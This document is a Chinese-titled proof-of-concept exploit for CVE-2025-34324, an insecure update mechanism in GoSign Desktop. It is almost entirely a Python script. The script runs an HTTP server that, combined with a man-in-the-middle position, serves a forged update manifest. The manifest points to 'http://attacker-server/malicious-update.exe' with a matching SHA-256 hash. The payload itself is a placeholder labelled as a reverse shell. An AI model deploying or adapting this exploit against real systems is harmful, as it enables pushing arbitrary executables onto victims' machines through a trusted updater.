CVE-2025-34324 GoSign Desktop不安全更新机制导致远程代码执行

# CVE-2025-34324 PoC - Malicious Update Manifest Injection # This PoC demonstrates the concept of exploiting the insecure update mechanism # Requires: mitmproxy, Python 3.x, ability to perform MITM attack import http.server import hashlib import os # Generate malicious payload def generate_malicious_payload(): """Generate a malicious executable payload""" # This would be the actual malicious code to execute malicious_code = b'MZ' + b'\x00' * 100 + b'REVERSE_SHELL_PAYLOAD' return malicious_code # Calculate SHA-256 hash of payload def calculate_hash(data): """Calculate SHA-256 hash matching the format expected by GoSign""" return hashlib.sha256(data).hexdigest() # Generate malicious update manifest def generate_malicious_manifest(payload_hash): """Generate fake update manifest with legitimate-looking hash""" manifest = f""" {{ "version": "2.4.1", "packages": [ {{ "name": "GoSign Desktop Update", "url": "http://attacker-server/malicious-update.exe", "sha256": "{payload_hash}", "platform": "windows" }} ], "release_date": "2025-11-15", "release_notes": "Critical security update" }} """ return manifest # HTTP server to serve malicious update class MaliciousUpdateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if '/update-manifest.json' in self.path: payload = generate_malicious_payload() payload_hash = calculate_hash(payload) manifest = generate_malicious_manifest(payload_hash) self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(manifest.encode()) elif '/malicious-update.exe' in self.path: payload = generate_malicious_payload() self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(payload) else: self.send_response(404) self.end_headers() if __name__ == '__main__': print('[+] CVE-2025-34324 PoC Server') print('[+] Serving malicious update manifest and payload') server = http.server.HTTPServer(('0.0.0.0', 8080), MaliciousUpdateHandler) server.serve_forever()